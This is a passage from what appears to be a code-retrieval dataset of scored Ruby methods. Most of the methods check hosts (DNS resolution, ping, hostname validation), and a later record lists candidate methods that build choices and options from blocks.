"title": ""
},
{
"docid": "12d46771bf153aca848538619d4e8a44",
"score": "0.7161672",
"text": "def host_available?\n HostLookup.available? @host, @options[:host_timeout]\n end",
"title": ""
},
{
"docid": "fe5b5187c361cb98c2a4c03cf3b5c68e",
"score": "0.7115997",
"text": "def host_exists?(host)\n # :nocov:\n # Patch for BZ840938 to support Ruby 1.8 on machines without /etc/resolv.conf\n dns = Resolv::DNS.new((Resolv::DNS::Config.default_config_hash || {}))\n dns.getresources(host, Resolv::DNS::Resource::IN::A).any?\n # :nocov:\n end",
"title": ""
},
{
"docid": "94276de15fb5d95903f702c98a53d5ba",
"score": "0.7110416",
"text": "def disabled?\n host.nil?\n end",
"title": ""
},
{
"docid": "ee495d2bbf10f22fdde3607df5dc9cb5",
"score": "0.7104244",
"text": "def hostname?\r\n ResolverFactory.resolve ip?\r\n end",
"title": ""
},
{
"docid": "1e0727a93af00d06aa44d9005805f3d2",
"score": "0.70652205",
"text": "def ok?(host)\n host_state(host) == :ok\n end",
"title": ""
},
{
"docid": "0e71fda54a3fe5998b6b025ecd5dca74",
"score": "0.69861084",
"text": "def host_is_legal\n if host.blank?\n return\n end\n if /[a-z]/i.match host # alphanumeric\n test = /\\A((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/.match host\n else # ip address\n test = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$/.match host\n end\n errors.add(:host, \"bad format\") unless test\n end",
"title": ""
},
{
"docid": "0e71fda54a3fe5998b6b025ecd5dca74",
"score": "0.69861084",
"text": "def host_is_legal\n if host.blank?\n return\n end\n if /[a-z]/i.match host # alphanumeric\n test = /\\A((?:[-a-z0-9]+\\.)+[a-z]{2,})\\z/.match host\n else # ip address\n test = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$/.match host\n end\n errors.add(:host, \"bad format\") unless test\n end",
"title": ""
},
{
"docid": "6e9511cc6f3bfaa47d9fce098cbf6be0",
"score": "0.694442",
"text": "def valid?(host)\n # TODO: replace with /\\.artsy.net$/\n # (it's stricter for now to generate test data)\n return true if host =~ /^www.artsy.net$/\n\n # TODO: uncomment after this is verified working, to ignore dev requests\n # return true if host == 'localhost'\n # return true if host == '127.0.0.1'\n\n false\nend",
"title": ""
},
{
"docid": "516788561bf76173964379b2ad99c5e6",
"score": "0.691923",
"text": "def faulty?(hostname)\n faulty_host_cache_get(hostname).first >= 3\n end",
"title": ""
},
{
"docid": "e0e8cb98d2e9b8169d7f9959d0c471bb",
"score": "0.6915524",
"text": "def host_known?(host)\n\t\ttracker=Wmap::HostTracker.instance\n if @data_dir\n tracker.data_dir = data_dir\n tracker.hosts_file = tracker.data_dir + \"/\" + \"hosts\"\n tracker.load_known_hosts_from_file(tracker.hosts_file)\n end\n tracker.host_known?(host)\n\tend",
"title": ""
},
{
"docid": "cc9a7141d5f74f763cf5789c7a0419ec",
"score": "0.69126785",
"text": "def host_exists?(host)\n # :nocov:\n # Patch for BZ840938 to support Ruby 1.8 on machines without /etc/resolv.conf\n dns = Resolv::DNS.new((Resolv::DNS::Config.default_config_hash || {}))\n resources = dns.getresources(host, Resolv::DNS::Resource::IN::A)\n debug(\"Checking for #{host} from Resolv::DNS: #{resources.inspect}\") if debug?\n resources.present?\n # :nocov:\n end",
"title": ""
},
{
"docid": "f6c229f0107c90ed1da12b40ef0a8516",
"score": "0.6896186",
"text": "def isHostExists(arg_host_name, arg_host_iqnlist)\n url = \"/host/\"+arg_host_name\n output = getRestCall(url)\n \n if(output[\"pure_err_key\"]==nil)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "c2e50547cabd65700a2748c71962de6b",
"score": "0.68723124",
"text": "def domain_exists?(domain)\n begin\n Socket.gethostbyname(domain)\n rescue SocketError\n return false\n end\n return true\nend",
"title": ""
},
{
"docid": "cdd41676a44e316fe8ecc8fd16facd7c",
"score": "0.68591565",
"text": "def resolvable?\n return true if hostname.blank?\n hostname_is_ip_address? || Resolv.getaddresses(hostname).any?\n end",
"title": ""
},
{
"docid": "7cfa8c42764076585048b6db907d92cd",
"score": "0.68421745",
"text": "def check_host(host)\n zbx.query(\n method: 'host.get',\n params: {\n filter: {\n 'host' => [host]\n },\n selectParentTemplates: ['host'],\n output: ['host']\n }\n )\n rescue Puppet::ExecutionFailure\n false\n end",
"title": ""
},
{
"docid": "1a6ed308d38747e23da46787c4e88aac",
"score": "0.6841537",
"text": "def warning?(host)\n host_state(host) == :warning\n end",
"title": ""
},
{
"docid": "2328b50b829a34edd1b1a1d28bcb45a1",
"score": "0.6822012",
"text": "def host_disabled?(host)\n !enabled_hosts.include?(host)\n end",
"title": ""
},
{
"docid": "2bcf2c1ca1ea2915a4c4d80285ff3747",
"score": "0.679991",
"text": "def is_resolvable(host=self.host)\n begin\n Resolv.getaddress(host.hostname)\n true\n rescue Resolv::ResolvError\n false\n end\n end",
"title": ""
},
{
"docid": "54085d6474a948b049624e8d272bf3e4",
"score": "0.6793643",
"text": "def host?(nick)\n $bot.config.host_nicks.member? nick\n end",
"title": ""
},
{
"docid": "cfddbe0475155b8c4192aa241aaca21c",
"score": "0.67843807",
"text": "def any_error?\n return (!self.host_results.index{|h| h.is_error?}.blank?)\n end",
"title": ""
},
{
"docid": "7751bccc049e4b6d993f4482239d6a01",
"score": "0.67815965",
"text": "def local?\n case @hostname\n when 'localhost'\n true\n when @sys_hostname ||= Socket.gethostname\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "33cb58bdf0a9ce38791c1fc73e315e71",
"score": "0.6769521",
"text": "def on_localhost?\n host_id == 'localhost'\n end",
"title": ""
},
{
"docid": "18526a227fb5032c97a0b586809133fa",
"score": "0.6755506",
"text": "def is_request_host_indo\n 'shopsmart.co.id' == request.host.squish\n end",
"title": ""
},
{
"docid": "4da16ee37f763d79a2ae11226dd86a8f",
"score": "0.6741369",
"text": "def are_we_connected?(host)\n\tcheck = Net::Ping::External.new(host)\n\tcheck.ping?\nend",
"title": ""
},
{
"docid": "ac18da57e0fe08d8b7afc16b8df5ab3a",
"score": "0.6703636",
"text": "def no_hosts_or_uri?(config)\n !config.has_key?(:hosts) && !config.has_key?(:uri)\n end",
"title": ""
},
{
"docid": "ac18da57e0fe08d8b7afc16b8df5ab3a",
"score": "0.6703636",
"text": "def no_hosts_or_uri?(config)\n !config.has_key?(:hosts) && !config.has_key?(:uri)\n end",
"title": ""
},
{
"docid": "60cf34e031b8c913c89ac3c3055df436",
"score": "0.6702888",
"text": "def unknown?\n type == UNKNOWN\n end",
"title": ""
},
{
"docid": "63d29ddabc9e563d8d09cef3acac2abe",
"score": "0.66946983",
"text": "def enabled?\n !host.nil?\n end",
"title": ""
},
{
"docid": "69b101d9e2ce31f06764b223dff1b3a6",
"score": "0.6693479",
"text": "def visit_host?(host)\n @host_rules.accept?(host)\n end",
"title": ""
},
{
"docid": "51e0979d76920819b61e9f2684d4ca29",
"score": "0.66694325",
"text": "def unknown?\n @spam_response == Unknown\n end",
"title": ""
},
{
"docid": "011700d3b0f6fbffdc08b4d93651fa49",
"score": "0.66690433",
"text": "def unknown?\n return false if load_balancer?\n config.empty? || config.keys == %w(topologyVersion) || !ok?\n end",
"title": ""
},
{
"docid": "e318bab180e7d55e2c19d5ef6e9ddbb1",
"score": "0.6660503",
"text": "def registered?(host)\n !!registered_as(host)\n end",
"title": ""
},
{
"docid": "ad2d3121bcfa984104fd97cae52d6e7a",
"score": "0.66605",
"text": "def is_host?(gama)\n return self.host && (self.gama_id == gama.id)\n end",
"title": ""
},
{
"docid": "9ab0bb4d56660039f990d79021e4c299",
"score": "0.66502416",
"text": "def valid_vcenter_host?(address)\n # Net::HTTP.new(address).head('/').kind_of? Net::HTTPOK\n _result = `ping -q -c 3 #{address}`\n $CHILD_STATUS.exitstatus == 0 ? true : false\n end",
"title": ""
},
{
"docid": "36488b603205b0a9f594e3b7e7391e1e",
"score": "0.6643192",
"text": "def is_valid_host_name? host\n host =~ /\\A[^-][\\w.:-]+\\Z/\n end",
"title": ""
},
{
"docid": "d2a8c74b6875dfcb12eb7c3eaa3177d8",
"score": "0.6636666",
"text": "def online?(host)\n check = Net::Ping::External.new(host)\n check.ping?\nend",
"title": ""
},
{
"docid": "a6082152b7fdec8d6437056ff5efac38",
"score": "0.66283697",
"text": "def match_internal_domain?(host)\n internal_domain == host\n end",
"title": ""
},
{
"docid": "e19b7a60f709cf4276ae2859765636b4",
"score": "0.6625973",
"text": "def known?\n address\n end",
"title": ""
},
{
"docid": "45dc450c8f7e63edb6529b4be8f09531",
"score": "0.6625404",
"text": "def internet_accessible?\n return @service_availability unless @service_availability.nil?\n @service_availability = Ping.pingecho(MARKUP_VALIDATOR_HOST, 5).tap do |available|\n $stderr << \"#{MARKUP_VALIDATOR_HOST} not available.\\n\" unless available\n end\n end",
"title": ""
},
{
"docid": "8c7e034f8ec87d7214dd0b1966f639de",
"score": "0.66211295",
"text": "def hosted?\n @host.hosted?(@external_id) ? true : false\n end",
"title": ""
},
{
"docid": "61d2a1a696bc82530db94a23bd9caa22",
"score": "0.6618915",
"text": "def host_only\n return @host_only\n end",
"title": ""
},
{
"docid": "4a38c784118a3dc000b6dcc6e7f43f2a",
"score": "0.6612258",
"text": "def lookup_ok?\n return true unless self.usable?\n return true if self.name.empty?\n lookup == self.ip_address\n end",
"title": ""
},
{
"docid": "2a919e70f1748062a4caa2cc39f640c9",
"score": "0.66110384",
"text": "def ip?\n !!(host =~ /^\\d+\\.\\d+\\.\\d+\\.\\d+$/)\n end",
"title": ""
},
{
"docid": "64e8c791f12fa360108e29c2e1a0268c",
"score": "0.66097796",
"text": "def unknown?\n\t\treturn name.blank?\n\tend",
"title": ""
},
{
"docid": "7c6b5d9278ed33c788a18f7d20b19895",
"score": "0.6602599",
"text": "def localhost?\n %w(morpheus lsiden-laptop lsiden-laptop2).to_set.include?(Socket.gethostname)\n end",
"title": ""
},
{
"docid": "2f4630dddf59e2a662a2b884be6ddf1d",
"score": "0.6591965",
"text": "def valid_host?(host)\n return false if host.nil?\n host = host.host if host.is_a?(URI)\n host == tenancy_host || tenancy_host_aliases.include?(host)\n end",
"title": ""
},
{
"docid": "d961de363f9f0d45ef960354488ed0aa",
"score": "0.65898633",
"text": "def persistent_hostname?\n false\n end",
"title": ""
},
{
"docid": "72945965a44bf31adfad1f46beec61ea",
"score": "0.65852576",
"text": "def up?(host)\n check = Net::Ping::External.new(host)\n check.ping?\n end",
"title": ""
},
{
"docid": "2e5a784dd0875b2b5a298c50e417be23",
"score": "0.65815127",
"text": "def hibp_resolvable?\n begin\n Rex::Socket.resolv_to_dotted(\"haveibeenpwned.com\")\n rescue RuntimeError, SocketError\n return false\n end\n\n true\n end",
"title": ""
},
{
"docid": "77cc8fec5fed31722cfc3d06304ce241",
"score": "0.65782464",
"text": "def meta_address?\n ip_address == '0.0.0.0'\n end",
"title": ""
},
{
"docid": "645a82ac4a33c4398cf67d3c59f141da",
"score": "0.65747",
"text": "def unknown?\n false\nend",
"title": ""
},
{
"docid": "ec5854f5551e6c1ce7b9b6ba308a7ba2",
"score": "0.6552277",
"text": "def noop?\n # If we're not a host_config, we're almost certainly part of\n # Settings, and we want to ignore 'noop'\n return false if catalog and ! catalog.host_config?\n\n if defined?(@noop)\n @noop\n else\n Puppet[:noop]\n end\n end",
"title": ""
},
{
"docid": "e63429422115a671d7f771ca21a00965",
"score": "0.65434444",
"text": "def validate_host_sanity\n info('Validating that the hostname is a FQDN', 'cyan')\n # Need to have a domain on the system\n if get_hostname.strip.split('.')[1..-1].empty?\n fail('Your system must have a fully qualified hostname of the form \"<hostname>.<domain>\"')\n end\n end",
"title": ""
},
{
"docid": "6c41a09750fc4efd2e5aafa2bcee58a4",
"score": "0.65317386",
"text": "def use_proxy?\n @host != \"\"\n end",
"title": ""
},
{
"docid": "93c1cc9f4f5999db23e0ba5a1d24cbbc",
"score": "0.6528968",
"text": "def net_service_discovery?\n original_host =~ /_[-a-z0-9]+._[-a-z0-9]+./\n end",
"title": ""
},
{
"docid": "3706840014d537baafa08052d32dfaa8",
"score": "0.6503557",
"text": "def unknown?; false; end",
"title": ""
},
{
"docid": "3706840014d537baafa08052d32dfaa8",
"score": "0.6503557",
"text": "def unknown?; false; end",
"title": ""
},
{
"docid": "bfe3748fb2499fd99799577a9bd80f51",
"score": "0.6502644",
"text": "def no_proxy? host\n @no_proxy ||= (ENV['NO_PROXY'] || ENV['no_proxy'] || 'localhost, 127.0.0.1').split(/\\s*,\\s*/)\n @no_proxy.each do |host_addr|\n return true if host.match(Regexp.quote(host_addr)+'$')\n end\n return false\n end",
"title": ""
},
{
"docid": "309c58e0ea974882f26e5bf52cdbf8df",
"score": "0.6499281",
"text": "def isHost()\n return @entity.is_a?(Host) ;\n end",
"title": ""
},
{
"docid": "03fd507050b78831e0dd62a45c006858",
"score": "0.6496335",
"text": "def ip?; false; end",
"title": ""
},
{
"docid": "4cac48ae174103375cafd416e42e1c8d",
"score": "0.6492002",
"text": "def is_valid_host_name? host\n host =~ /\\A[^-][\\w.:-]+\\Z/\nend",
"title": ""
},
{
"docid": "f780f8ea4ec32eae5bbc0007e1a2b966",
"score": "0.6489545",
"text": "def is_host_indo?\n 'shopsmart.co.id' == Rails.application.secrets.HOST\n end",
"title": ""
},
{
"docid": "318d0ced436e10c183db4d9c91fdadd7",
"score": "0.6484444",
"text": "def url_is_remote?\n !(url =~ /localhost/ || url =~ /127\\.0\\.0\\.1/ || url =~ /0\\.0\\.0\\.0/)\n end",
"title": ""
},
{
"docid": "e6f14ad505892a904fbbcc585824a7a8",
"score": "0.6475461",
"text": "def using_preferred_fallback_host?\n if preferred_fallback_connection && (preferred_fallback_connection.fetch(:expires_at) > Time.now)\n preferred_fallback_connection.fetch(:connection_object).host\n end\n end",
"title": ""
},
{
"docid": "acb7059d320da18db7c1bef83845ce1d",
"score": "0.64552903",
"text": "def all_ok?\n return self.host_results.select{|h| !h.is_ok?}.blank?\n end",
"title": ""
},
{
"docid": "c036ee8d8734de9c2eeb23b0e1c59c35",
"score": "0.64434147",
"text": "def dns?\n !!(dns and dns.url and !dns.url.blank?)\n end",
"title": ""
},
{
"docid": "e590cddb7de522ae7feaf2f8e854f709",
"score": "0.64326584",
"text": "def domain_exist?\n !@conn.get('/').body.include? 'Domain name is unregistered!'\n end",
"title": ""
},
{
"docid": "eec2628f804c27de8d2487091cc436b1",
"score": "0.6425412",
"text": "def ready?\n !!parsed_url.host\n end",
"title": ""
},
{
"docid": "c0673276711f73e1385461e011931695",
"score": "0.6423627",
"text": "def fastly?\n !!host.match(/\\A#{Regexp.union(Fastly::HOSTNAMES)}\\z/i)\n end",
"title": ""
},
{
"docid": "92c793023dac89deefbeebfca79d5ef6",
"score": "0.6420805",
"text": "def host(hostname)\n hostname === req.host\n end",
"title": ""
},
{
"docid": "d383fe2645ac8b1838ce0116b1775a62",
"score": "0.6410688",
"text": "def all_error?\n return self.host_results.select{|h| !h.is_error?}.blank?\n end",
"title": ""
},
{
"docid": "3f97e246bae1dd22eb28916f892dfc79",
"score": "0.6409438",
"text": "def default_should_host; end",
"title": ""
},
{
"docid": "be5e5ffdf6625b7ca2f525b8be0e7205",
"score": "0.6408822",
"text": "def be_a_host\n end",
"title": ""
},
{
"docid": "db96bb6920067f5826e7973eecd1527e",
"score": "0.64043075",
"text": "def any_ok?\n return (self.host_results.index{|h| h.is_ok?} != nil)\n end",
"title": ""
},
{
"docid": "70a9c86c9ba697b44d4475e024b835e5",
"score": "0.63939494",
"text": "def node_kind_unknown?\n node_kind == Core::NODE_UNKNOWN\n end",
"title": ""
},
{
"docid": "70a9c86c9ba697b44d4475e024b835e5",
"score": "0.63939494",
"text": "def node_kind_unknown?\n node_kind == Core::NODE_UNKNOWN\n end",
"title": ""
},
{
"docid": "3ac73beb3646aca5928d77ce992ea964",
"score": "0.6392142",
"text": "def hostname\n Socket.gethostname\n rescue StandardError => _e\n \"N/A\"\n end",
"title": ""
},
{
"docid": "2925535c409f2e096e670eb81c644d5a",
"score": "0.6382299",
"text": "def network?\n @addr & _hostmask == 0\n end",
"title": ""
},
{
"docid": "814feb33febc759c94acc74cc7d19f48",
"score": "0.63774115",
"text": "def remote?\n !hosted?\n end",
"title": ""
},
{
"docid": "a8e046cf26a99d187a769d947621cf10",
"score": "0.63684404",
"text": "def ensure_host\n end",
"title": ""
},
{
"docid": "e40e9d2128bb264d59a3258a10887eee",
"score": "0.6364603",
"text": "def local?\n\t\t@host == @provider.domain\n\tend",
"title": ""
}
] |
094813dc6f63b42bbf345885e49db63a | Creates a new Choice using all arguments. A block may be provided to specify semantic behavior (via ext). | [
{
"docid": "4dfbb6965fc8a857a71822e9a6e94c58",
"score": "0.62932485",
"text": "def any(*args, &block)\n ext(Choice.new(args), block)\n end",
"title": ""
}
] | [
{
"docid": "c82c0b7b078643e2edaaa267a45f0647",
"score": "0.67086524",
"text": "def choice_answer(*args, &block)\n if args.first.is_a?(Hash) # no question text\n q = MultipleChoice.new('',*args)\n else\n text = args.shift\n q = MultipleChoice.new(text, *args)\n end\n q.instance_eval(&block)\n @questions << q\n end",
"title": ""
},
{
"docid": "c82c0b7b078643e2edaaa267a45f0647",
"score": "0.67086524",
"text": "def choice_answer(*args, &block)\n if args.first.is_a?(Hash) # no question text\n q = MultipleChoice.new('',*args)\n else\n text = args.shift\n q = MultipleChoice.new(text, *args)\n end\n q.instance_eval(&block)\n @questions << q\n end",
"title": ""
},
{
"docid": "1779b5dec7a673d09b75fe4f487b722a",
"score": "0.65835756",
"text": "def choice(*value, &block)\n if block\n @choices << (value << block)\n else\n @choices << value\n end\n end",
"title": ""
},
{
"docid": "c6f35712cd7445c86b6cbe8dc115a9d4",
"score": "0.63426495",
"text": "def initialize(choices, name, attributes: {}, &block)\n @choices = choices\n @name = name\n @menu_attributes = attributes[:menu]\n @item_attributes = attributes[:item]\n @block = block\n end",
"title": ""
},
{
"docid": "58b248a46455ea21692929c19febc235",
"score": "0.631569",
"text": "def choice(value, &block)\n if block\n @choices << value.update(value: block)\n else\n @choices << value\n end\n end",
"title": ""
},
{
"docid": "2511a22923a680550e6a7ab9f6bdaa99",
"score": "0.6297137",
"text": "def any(*args, &block)\n ext(Choice.new(args), block)\n end",
"title": ""
},
{
"docid": "22ce3be7ab757e19a9a72864f54e0d81",
"score": "0.6250991",
"text": "def add_choice(choice, args={}, &block)\n update_hash_when_explicit_value(@defaults, choice, args[:default])\n update_hash_when_explicit_value(@checks, choice, args[:type])\n if block\n @command_line_blocks << lambda { | source |\n block.call(ArgForwarder.new(source, choice))\n }\n end\n end",
"title": ""
},
{
"docid": "a0caedced06aeeeaadb04ab031d5fd5f",
"score": "0.616019",
"text": "def each_choice(&ruby_block)\n # No ruby block? Return an enumerator.\n return to_enum(:each_choice) unless ruby_block\n # A ruby block? Apply it on each choice.\n @choices.each(&ruby_block)\n end",
"title": ""
},
{
"docid": "04a2589cb596807d896563a88c587304",
"score": "0.61505765",
"text": "def initialize(choices, name, attributes: {}, labelled: true, &block)\n @choices = choices\n @name = name\n @button_attributes = attributes[:button]\n @label_attributes = attributes[:label]\n @labelled = labelled\n @block = block\n end",
"title": ""
},
{
"docid": "a5f48345a01fb33d4b9fd593a273179f",
"score": "0.60659194",
"text": "def choose &block\n sync{ @input.choose(&block) }\n end",
"title": ""
},
{
"docid": "ca3d95bc7fd8c6d03a827de91bd5adf7",
"score": "0.59833616",
"text": "def select(question, *args, &block)\n options = Utils.extract_options!(args)\n choices = if block\n []\n elsif args.empty?\n options\n else\n args.flatten\n end\n\n list = List.new(self, options)\n list.call(question, choices, &block)\n end",
"title": ""
},
{
"docid": "d24aa5f41f9199709b2abd10ead8bde1",
"score": "0.5864395",
"text": "def initialize(prompt = \"?\", *args, &block)\n\n\t\t# attribute defaults\n\t\t@retries = (1.0/0.0) #infinity\n\t\t@display_default = true\n\t\t@prompt = prompt.to_s\n\n\t\targs.each do |arg|\n\t\t\tcase arg\n\t\t\twhen Hash\n\t\t\t\targ.each_pair do |option, value|\n\t\t\t\t\tif respond_to? \"#{option}=\"\n\t\t\t\t\t\tsend(\"#{option}=\", value) \n\t\t\t\t\telse\n\t\t\t\t\t\traise ArgumentError.new(\"Invalid option: #{option}\")\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\twhen Class\n\t\t\t\tself.cast = arg\n\t\t\twhen Array, OptionList\n\t\t\t\tself.options = arg\n\t\t\twhen Proc, Method, Range, Regexp\n\t\t\t\tself.validation = arg\n\t\t\twhen String, Numeric, TrueClass, FalseClass\n\t\t\t\tself.default = arg\n\t\t\tend\n\t\tend\n\n\t\tinstance_eval &block if block\n\tend",
"title": ""
},
{
"docid": "bfebfb475c1fae15d0565da49622887a",
"score": "0.58374834",
"text": "def initialize(options = {}, &block)\n # Here we store the definitions this option contains, to make to_a and\n # to_h easier.\n @choices = [] \n\n # If we got a block, eval it and set everything up.\n instance_eval(&block) if block_given? \n\n # Is this option required?\n @required = options[:required] || false\n @choices << 'required'\n end",
"title": ""
},
{
"docid": "6dc691da12eaf9cc25e496d5044b4773",
"score": "0.58315235",
"text": "def show_choice(text, choices = {}, &block)\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "440be7c044d83a852e0f9ab131f3c277",
"score": "0.5816892",
"text": "def choice(*value, &block)\n @filter_cache = {}\n if block\n @choices << (value << block)\n else\n @choices << value\n end\n end",
"title": ""
},
{
"docid": "fc76358860e0f1530bd37cc410303819",
"score": "0.5800043",
"text": "def initialize(opts={})\n @dict = (opts[:dict] || [])\n @selection = (opts[:selection] || nil)\n @dict_from = (opts[:dict_from] || Ruckus)\n @default = opts[:default]\n\n # This lambda is passed to the 'choice' superclass to provide\n # all the dictionary functionality.\n block = lambda do |buf, this|\n lambuf = nil\n case @selection\n when Symbol\n sel = (x=this.root.find_tag(@selection) and x.value)\n when Proc\n sel, lambuf = @selection.call(buf,this)\n else\n sel = @selection\n end\n\n if (k = @dict[sel]) or (k = @default)\n ksym, *args = k\n return buf unless ksym\n\n unless args[-1].kind_of?(Hash) and nsp=args[-1][:dict_from]\n nsp = @dict_from\n end\n\n klass = if (ksym.kind_of? Class or ksym.kind_of? Module)\n ksym\n else\n ksym.to_s.const_lookup(nsp) or return(buf)\n end\n\n choice = klass.new(*args)\n choice.parent = this.value.parent\n this.value = choice\n\n if not lambuf.nil?\n return buf if x=this.value.capture(lambuf) and x.empty?\n else\n this.value.capture(buf)\n end\n end\n end\n\n super( opts.merge(:block => block) )\n end",
"title": ""
},
{
"docid": "330c8a93483c38a994cc02b9093cca74",
"score": "0.57921535",
"text": "def initialize(name, type = IN::ANY) # :yield: self, answers\n initialize_(name, type)\n\n if block_given?\n self.each do |*args|\n yield self, args\n end\n end\n end",
"title": ""
},
{
"docid": "1e0ddbc92521fdb10ef12a53f18ca969",
"score": "0.57739985",
"text": "def new(_options = {}, &_block)\n raise \"implement me!\"\n end",
"title": ""
},
{
"docid": "4cdc6b9525a7aba46509198fe2859388",
"score": "0.574837",
"text": "def new(options, &block)\n dsl = self.class.new([], @options.merge(options))\n dsl.instance_exec(&block) unless block.nil?\n dsl\n end",
"title": ""
},
{
"docid": "02300ff6a8c2f6b1e6926a57c3df638c",
"score": "0.57161593",
"text": "def choose(prompt, validation, opts={}, &block)\n choice = ask prompt, opts\n if valid_choice?(validation, choice)\n block_given? ? yield(choice) : choice\n else\n say_warning 'Unknown choice!'\n choose(prompt, validation, opts, &block)\n end\n end",
"title": ""
},
{
"docid": "bf23d9ccc426778d1786ad8e5ebe12b4",
"score": "0.5715041",
"text": "def initialize(*args, &block)\n options = args.extract_options!\n @block = block_given? ? block : options[:block]\n raise ArgumentError, 'block must be provided' unless @block\n @parent = options[:parent]\n end",
"title": ""
},
{
"docid": "c7729bcaa1a7e1f9db14d279eda2b381",
"score": "0.5684676",
"text": "def initialize(options={},&block)\n super\n interface :drop_down unless choices.blank?\n choice_validation_message unless choices.blank?\n interface :text_box unless interface\n end",
"title": ""
},
{
"docid": "4a0c7045bdb0304b0bc1f3976f39e4ba",
"score": "0.5652522",
"text": "def multiple_choice *choices, &block\n s = Scene::MultipleChoice.subclass do |actor, scene|\n scene.options.concat choices\n scene.on_finish &block\n end\n scene_classes.push s\n s\n end",
"title": ""
},
{
"docid": "3aeec14b244074b2db8204213e78975b",
"score": "0.56362444",
"text": "def make(*args, &block)\n factorize(:new, args, &block)\n end",
"title": ""
},
{
"docid": "8ae5d3d43f06a8755eaa571bddd7ba91",
"score": "0.562783",
"text": "def use(name, &block)\n @specification.recipes << Cany::Recipe.from_name(name).new(@specification, &block)\n end",
"title": ""
},
{
"docid": "fcb5043dbab08423415e0c552a6d3729",
"score": "0.5570813",
"text": "def new(name = nil, options = {}, &block)\n name ? supervise_as(name, options, &block) : supervise(options, &block)\n end",
"title": ""
},
{
"docid": "fcb5043dbab08423415e0c552a6d3729",
"score": "0.5570813",
"text": "def new(name = nil, options = {}, &block)\n name ? supervise_as(name, options, &block) : supervise(options, &block)\n end",
"title": ""
},
{
"docid": "373fcb0c2943d37c661ab6f79c0d4319",
"score": "0.55576676",
"text": "def call(_params = {}, &_block)\n thing = Internals.new_thing\n yield thing\n self\n end",
"title": ""
},
{
"docid": "dbe7e3b585bac6a8ae1a2408eb151095",
"score": "0.5514868",
"text": "def initialize(dsl, parent, blk)\n super(dsl, parent, ::Swt::SWT::RADIO, blk)\n end",
"title": ""
},
{
"docid": "7c4392040247c96a15ca9253408513ed",
"score": "0.55068064",
"text": "def with(opts = {}, &block)\n resource = @type.new(opts)\n block ? (yield resource) : resource\n end",
"title": ""
},
{
"docid": "0979266443263d4a6e340599515bbf8d",
"score": "0.54978967",
"text": "def build_option(objects, &block); end",
"title": ""
},
{
"docid": "0979266443263d4a6e340599515bbf8d",
"score": "0.54978967",
"text": "def build_option(objects, &block); end",
"title": ""
},
{
"docid": "b3f5e448166bdaf334a27ba301ffef64",
"score": "0.549433",
"text": "def ask(params={}, &block)\n params = set_language(params)\n if block_given?\n @ask_hash = {:ask => build_elements(params)}\n #create_nested_hash('ask', params)\n instance_exec(&block)\n has_params?(@ask_hash[:ask], 'ask', ['choices', 'say'])\n if @nested_on_hash\n if @nested_on_hash[:on][0][:ask].nil?\n @nested_on_hash[:on][0][:ask] = @ask_hash[:ask]\n elsif @nested_on_hash[:on][0][:ask].is_a? Array\n @nested_on_hash[:on][0][:ask] << @ask_hash[:ask]\n else\n ask = @nested_on_hash[:on][0][:ask]\n @nested_on_hash[:on][0][:ask] = Array.new\n @nested_on_hash[:on][0][:ask] << ask\n @nested_on_hash[:on][0][:ask] << @ask_hash[:ask]\n end\n else\n @response[:tropo] << @ask_hash\n @ask_hash = nil\n end\n else\n hash = build_action('ask', params)\n if @nested_on_hash\n if @nested_on_hash[:on][0][:ask].nil?\n @nested_on_hash[:on][0][:ask] = hash[:ask]\n elsif @nested_on_hash[:on][0][:ask].is_a? Array\n @nested_on_hash[:on][0][:ask] << hash[:ask]\n else\n ask = @nested_on_hash[:on][0][:ask]\n @nested_on_hash[:on][0][:ask] = Array.new\n @nested_on_hash[:on][0][:ask] << ask\n @nested_on_hash[:on][0][:ask] << hash[:ask]\n end\n else\n @response[:tropo] << hash\n end\n end\n render_response if @building.nil?\n end",
"title": ""
},
{
"docid": "2d9da5ad9108b439f537ebe77771d7ed",
"score": "0.5463888",
"text": "def initialize(options={},&block)\n interface :drop_down\n super\n choice_validation_message\n end",
"title": ""
},
{
"docid": "bb841e2db4b5423b55875e78d2854eff",
"score": "0.54551804",
"text": "def add_choices(builder)\n builder.add_choice(:switch,\n :default => 'false',\n :type => :boolean) { | command_line |\n command_line.uses_switch(\"--switch\", \"-s\")\n }\n\n # You specify a range of allowable arguments with Ruby Ranges.\n builder.add_choice(:args) { | command_line |\n command_line.uses_arglist(2..4)\n }\n end",
"title": ""
},
{
"docid": "02dcec8be9fb7e996d0d00d447376913",
"score": "0.54534733",
"text": "def new_option(argv, &block) # :nodoc:\n attributes = argv.last.kind_of?(Hash) ? argv.pop : {}\n argv.each do |arg|\n # split switch arguments... descriptions\n # still won't match as a switch even\n # after a split\n switch, arg_name = arg.kind_of?(String) ? arg.split(' ', 2) : arg\n \n # determine the kind of argument specified\n key = case switch\n when SHORT_OPTION then :short\n when LONG_OPTION then :long\n else :desc\n end\n \n # check for conflicts\n if attributes[key]\n raise ArgumentError, \"conflicting #{key} options: [#{attributes[key].inspect}, #{arg.inspect}]\"\n end\n \n # set the option attributes\n case key\n when :long, :short\n attributes[key] = switch\n attributes[:arg_name] = arg_name if arg_name\n else\n attributes[key] = arg\n end\n end\n \n # check if a switch-style option is specified\n klass = case\n when attributes[:long].to_s =~ /^--\\[no-\\](.*)$/ \n attributes[:long] = \"--#{$1}\"\n Switch\n else \n Option\n end\n \n klass.new(attributes, &block)\n end",
"title": ""
},
{
"docid": "c74fde0775e7f76427781728b1017f7d",
"score": "0.5453018",
"text": "def initialize(name, content = nil, &block)\n @name = name\n return @content = content unless content.nil?\n return unless block_given?\n @arity = block.arity\n if @arity <= 0\n @context = eval('self', block.binding)\n instance_eval(&block)\n else\n yield self\n end\n end",
"title": ""
},
{
"docid": "785fa87ea542eddcac53cda0d9460369",
"score": "0.543184",
"text": "def product(name, &block)\n options = ProductDslVocabulary.new(name)\n options.instance_eval(&block)\n new_constructor = options.create_constructor\n self[name] = new_constructor\n true\n end",
"title": ""
},
{
"docid": "906710b3817c34d37e6cd67ccdc61541",
"score": "0.5425554",
